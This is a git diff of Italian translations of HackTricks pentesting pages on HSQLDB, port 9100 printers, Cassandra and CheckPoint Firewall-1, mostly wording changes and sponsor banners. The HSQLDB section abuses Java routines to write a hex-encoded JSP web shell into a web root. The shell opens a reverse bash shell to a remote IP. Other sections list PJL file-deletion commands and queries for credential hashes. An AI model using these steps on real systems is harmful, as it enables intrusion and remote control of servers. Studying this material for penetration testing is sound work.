* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di base
|
# Informazioni di base
|
||||||
|
|
||||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** è il principale sistema di database relazionale SQL scritto in Java. Offre un motore di database piccolo, veloce, multithreaded e transazionale con tabelle in memoria e su disco e supporta modalità incorporate e server.
|
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** è il principale sistema di database relazionali SQL scritto in Java. Offre un motore di database multithread veloce e di piccole dimensioni con tabelle in memoria e su disco e supporta modalità incorporate e server.
|
||||||
|
|
||||||
**Porta predefinita:** 9001
|
**Porta predefinita:** 9001
|
||||||
```text
|
```text
|
||||||
|
@ -23,53 +24,53 @@ Altri modi per supportare HackTricks:
|
||||||
```
|
```
|
||||||
# Informazioni
|
# Informazioni
|
||||||
|
|
||||||
### Impostazioni predefinite
|
### Impostazioni Predefinite
|
||||||
|
|
||||||
Nota che di default questo servizio probabilmente viene eseguito in memoria o è collegato a localhost. Se lo hai trovato, probabilmente hai sfruttato un altro servizio e stai cercando di ottenere privilegi elevati.
|
Nota che per impostazione predefinita questo servizio è probabilmente in esecuzione in memoria o è legato a localhost. Se lo hai trovato, probabilmente hai sfruttato un altro servizio e stai cercando di elevare i privilegi.
|
||||||
|
|
||||||
Le credenziali predefinite di solito sono `sa` con una password vuota.
|
Le credenziali predefinite sono solitamente `sa` con una password vuota.
|
||||||
|
|
||||||
Se hai sfruttato un altro servizio, cerca possibili credenziali utilizzando
|
Se hai sfruttato un altro servizio, cerca possibili credenziali usando
|
||||||
```text
|
```text
|
||||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||||
```
|
```
|
||||||
Nota attentamente il nome del database: ne avrai bisogno per connetterti.
|
Note il nome del database con attenzione - ne avrai bisogno per connetterti.
|
||||||
|
|
||||||
# Raccolta informazioni
|
# Info Gathering
|
||||||
|
|
||||||
Connettiti all'istanza del database scaricando HSQLDB e estraendo `hsqldb/lib/hsqldb.jar`. Avvia l'app GUI (eww) utilizzando `java -jar hsqldb.jar` e connettiti all'istanza utilizzando le credenziali scoperte/deboli.
|
Connettiti all'istanza del DB scaricando [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) ed estraendo `hsqldb/lib/hsqldb.jar`. Esegui l'app GUI \(eww\) usando `java -jar hsqldb.jar` e connettiti all'istanza utilizzando le credenziali scoperte/deboli.
|
||||||
|
|
||||||
Nota che l'URL di connessione avrà un aspetto simile a questo per un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
Nota che l'URL di connessione avrà un aspetto simile a questo per un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||||
|
|
||||||
# Trucchi
|
# Tricks
|
||||||
|
|
||||||
## Routine del linguaggio Java
|
## Java Language Routines
|
||||||
|
|
||||||
Possiamo chiamare i metodi statici di una classe Java da HSQLDB utilizzando le Routine del linguaggio Java. Tieni presente che la classe chiamata deve essere nel classpath dell'applicazione.
|
Possiamo chiamare metodi statici di una classe Java da HSQLDB utilizzando Java Language Routines. Nota che la classe chiamata deve essere nel classpath dell'applicazione.
|
||||||
|
|
||||||
Le JRT possono essere `funzioni` o `procedure`. Le funzioni possono essere chiamate tramite istruzioni SQL se il metodo Java restituisce una o più variabili primitive compatibili con SQL. Vengono invocate utilizzando l'istruzione `VALUES`.
|
Le JRT possono essere `functions` o `procedures`. Le funzioni possono essere chiamate tramite istruzioni SQL se il metodo Java restituisce una o più variabili primitive compatibili con SQL. Vengono invocate utilizzando l'istruzione `VALUES`.
|
||||||
|
|
||||||
Se il metodo Java che vogliamo chiamare restituisce void, dobbiamo utilizzare una procedura invocata con l'istruzione `CALL`.
|
Se il metodo Java che vogliamo chiamare restituisce void, dobbiamo usare una procedura invocata con l'istruzione `CALL`.
|
||||||
|
|
||||||
## Lettura delle proprietà di sistema Java
|
## Reading Java System Properties
|
||||||
|
|
||||||
Crea la funzione:
|
Crea funzione:
|
||||||
```text
|
```text
|
||||||
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
||||||
DETERMINISTIC NO SQL
|
DETERMINISTIC NO SQL
|
||||||
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
||||||
```
|
```
|
||||||
Esegui la funzione:
|
Esegui funzione:
|
||||||
```text
|
```text
|
||||||
VALUES(getsystemproperty('user.name'))
|
VALUES(getsystemproperty('user.name'))
|
||||||
```
|
```
|
||||||
Puoi trovare un [elenco delle proprietà di sistema qui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
Puoi trovare un [elenco delle proprietà di sistema qui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||||
|
|
||||||
## Scrivere il contenuto su un file
|
## Scrivere contenuto su file
|
||||||
|
|
||||||
Puoi utilizzare il gadget Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` situato nel JDK (caricato automaticamente nel classpath dell'applicazione) per scrivere elementi codificati in esadecimale su disco tramite una procedura personalizzata. **Nota la dimensione massima di 1024 byte**.
|
Puoi utilizzare il `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget Java situato nel JDK \(caricato automaticamente nel class path dell'applicazione\) per scrivere elementi codificati in esadecimale su disco tramite una procedura personalizzata. **Nota la dimensione massima di 1024 byte**.
|
||||||
|
|
||||||
Creare la procedura:
|
Crea procedura:
|
||||||
```text
|
```text
|
||||||
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
||||||
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||||||
|
@ -79,16 +80,17 @@ Esegui procedura:
|
||||||
```text
|
```text
|
||||||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di base
|
# Informazioni di base
|
||||||
|
|
||||||
Da [qui](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): La stampa raw è ciò che definiamo come il processo di connessione alla porta 9100/tcp di una stampante di rete. È il metodo predefinito utilizzato da CUPS e dall'architettura di stampa di Windows per comunicare con le stampanti di rete in quanto è considerato come "_il protocollo di rete più semplice, veloce e generalmente affidabile utilizzato per le stampanti_". La stampa raw sulla porta 9100, anche chiamata JetDirect, AppSocket o PDL-datastream, **non è in realtà un protocollo di stampa di per sé**. Invece, **tutti i dati inviati vengono elaborati direttamente dal dispositivo di stampa**, proprio come una connessione parallela su TCP. A differenza di LPD, IPP e SMB, questo può inviare un feedback diretto al client, inclusi messaggi di stato e di errore. Un tale **canale bidirezionale** ci offre un **accesso diretto** ai **risultati** dei comandi **PJL**, **PostScript** o **PCL**. Pertanto, la stampa raw sulla porta 9100 - supportata da quasi tutte le stampanti di rete - viene utilizzata come canale per l'analisi della sicurezza con PRET e PFT.
|
Da [qui](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): La stampa raw è ciò che definiamo come il processo di connessione alla porta 9100/tcp di una stampante di rete. È il metodo predefinito utilizzato da CUPS e dall'architettura di stampa di Windows per comunicare con le stampanti di rete, poiché è considerato ‘_il protocollo di rete più semplice, veloce e generalmente più affidabile utilizzato per le stampanti_’. La stampa raw sulla porta 9100, nota anche come JetDirect, AppSocket o PDL-datastream, in realtà **non è un protocollo di stampa di per sé**. Invece, **tutti i dati inviati sono elaborati direttamente dal dispositivo di stampa**, proprio come una connessione parallela su TCP. A differenza di LPD, IPP e SMB, questo può inviare feedback diretto al client, inclusi messaggi di stato e di errore. Un **canale bidirezionale** ci dà **accesso** diretto ai **risultati** dei comandi **PJL**, **PostScript** o **PCL**. Pertanto, la stampa raw sulla porta 9100 – supportata da quasi tutte le stampanti di rete – è utilizzata come canale per l'analisi della sicurezza con PRET e PFT.
|
||||||
|
|
||||||
Se vuoi saperne di più sull'[**hacking delle stampanti leggi questa pagina**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
Se vuoi saperne di più su [**hacking delle stampanti leggi questa pagina**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||||
|
|
||||||
**Porta predefinita:** 9100
|
**Porta predefinita:** 9100
|
||||||
```
|
```
|
||||||
|
@ -42,17 +43,7 @@ nc -vn <IP> 9100
|
||||||
@PJL FSDOWNLOAD #Useful to download a file
|
@PJL FSDOWNLOAD #Useful to download a file
|
||||||
@PJL FSDELETE #Useful to delete a file
|
@PJL FSDELETE #Useful to delete a file
|
||||||
```
|
```
|
||||||
## Automatico
|
## Automatic
|
||||||
|
|
||||||
PJL (Printer Job Language) è un linguaggio di controllo delle stampanti utilizzato per inviare comandi e configurazioni alle stampanti. Può essere utilizzato per automatizzare alcune operazioni di stampa, come l'invio di file di stampa, la configurazione delle impostazioni di stampa e il recupero di informazioni sulla stampante.
|
|
||||||
|
|
||||||
Durante un test di penetrazione, è possibile utilizzare PJL per eseguire operazioni automatiche sulle stampanti di rete. Ad esempio, è possibile inviare comandi PJL per ottenere informazioni sulla stampante, come il modello, il numero di serie e le impostazioni di configurazione. Queste informazioni possono essere utilizzate per identificare le vulnerabilità della stampante e pianificare ulteriori attacchi.
|
|
||||||
|
|
||||||
Inoltre, è possibile utilizzare PJL per inviare file di stampa alle stampanti di rete. Questo può essere utile per testare la sicurezza delle stampanti, ad esempio inviando file di stampa contenenti payload dannosi o exploit. Tuttavia, è importante esercitare cautela durante l'invio di file di stampa, in quanto potrebbero causare danni alle stampanti o alla rete.
|
|
||||||
|
|
||||||
Per automatizzare l'utilizzo di PJL durante un test di penetrazione, è possibile utilizzare script o strumenti di automazione. Questi strumenti consentono di inviare comandi PJL in modo rapido e efficiente, consentendo di eseguire operazioni automatiche su più stampanti contemporaneamente.
|
|
||||||
|
|
||||||
In conclusione, l'utilizzo di PJL durante un test di penetrazione può essere un modo efficace per identificare vulnerabilità e testare la sicurezza delle stampanti di rete. Tuttavia, è importante esercitare cautela e utilizzare strumenti di automazione appropriati per evitare danni alle stampanti o alla rete.
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script pjl-ready-message -p <PORT> <IP>
|
nmap -sV --script pjl-ready-message -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
|
@ -69,7 +60,7 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
||||||
```
|
```
|
||||||
## Strumento di hacking per stampanti
|
## Strumento di hacking per stampanti
|
||||||
|
|
||||||
Questo è lo strumento che desideri utilizzare per abusare delle stampanti:
|
Questo è lo strumento che vuoi usare per abusare delle stampanti:
|
||||||
|
|
||||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||||
|
|
||||||
|
@ -78,16 +69,17 @@ Questo è lo strumento che desideri utilizzare per abusare delle stampanti:
|
||||||
* `pjl port:9100`
|
* `pjl port:9100`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
# 9042/9160 - Pentesting Cassandra
|
# 9042/9160 - Pentesting Cassandra
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
**Apache Cassandra** è un database distribuito **altamente scalabile** e **ad alte prestazioni** progettato per gestire **grandi quantità di dati** su molti **server di commodity**, fornendo **alta disponibilità** senza **singolo punto di fallimento**. È un tipo di **database NoSQL**.
|
**Apache Cassandra** è un database **distribuito** **altamente scalabile** e **ad alte prestazioni** progettato per gestire **grandi quantità di dati** su molti **server di tipo commodity**, fornendo **alta disponibilità** senza **un singolo punto di guasto**. È un tipo di **database NoSQL**.
|
||||||
|
|
||||||
In diversi casi, potresti scoprire che Cassandra accetta **qualsiasi credenziale** (poiché non ne sono state configurate) e ciò potrebbe potenzialmente consentire a un attaccante di **enumerare** il database.
|
In diversi casi, potresti scoprire che Cassandra accetta **qualsiasi credenziale** (poiché non ce ne sono configurate) e questo potrebbe potenzialmente consentire a un attaccante di **enumerare** il database.
|
||||||
|
|
||||||
**Porta predefinita:** 9042,9160
|
**Porta predefinita:** 9042,9160
|
||||||
```
|
```
|
||||||
|
@ -43,7 +44,7 @@ SELECT * from logdb.user_auth; #Can contain credential hashes
|
||||||
SELECT * from logdb.user;
|
SELECT * from logdb.user;
|
||||||
SELECT * from configuration."config";
|
SELECT * from configuration."config";
|
||||||
```
|
```
|
||||||
### Automatizzato
|
### Automated
|
||||||
|
|
||||||
Non ci sono molte opzioni qui e nmap non ottiene molte informazioni.
|
Non ci sono molte opzioni qui e nmap non ottiene molte informazioni.
|
||||||
```bash
|
```bash
|
||||||
|
@ -56,16 +57,17 @@ nmap -sV --script cassandra-info -p <PORT> <IP>
|
||||||
`port:9160 Cluster`\
|
`port:9160 Cluster`\
|
||||||
`port:9042 "Versione del protocollo non valida o non supportata"`
|
`port:9042 "Versione del protocollo non valida o non supportata"`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
È possibile interagire con i firewall **CheckPoint** **Firewall-1** per scoprire informazioni preziose come il nome del firewall e il nome della stazione di gestione. Ciò può essere fatto inviando una query alla porta **264/TCP**.
|
È possibile interagire con i firewall **CheckPoint** **Firewall-1** per scoprire informazioni preziose come il nome del firewall e il nome della stazione di gestione. Questo può essere fatto inviando una query alla porta **264/TCP**.
|
||||||
|
|
||||||
### Ottenere i Nomi del Firewall e della Stazione di Gestione
|
### Ottenere i nomi del firewall e della stazione di gestione
|
||||||
|
|
||||||
Utilizzando una richiesta di pre-autenticazione, è possibile eseguire un modulo che mira al **CheckPoint Firewall-1**. Di seguito sono riportati i comandi necessari per questa operazione:
|
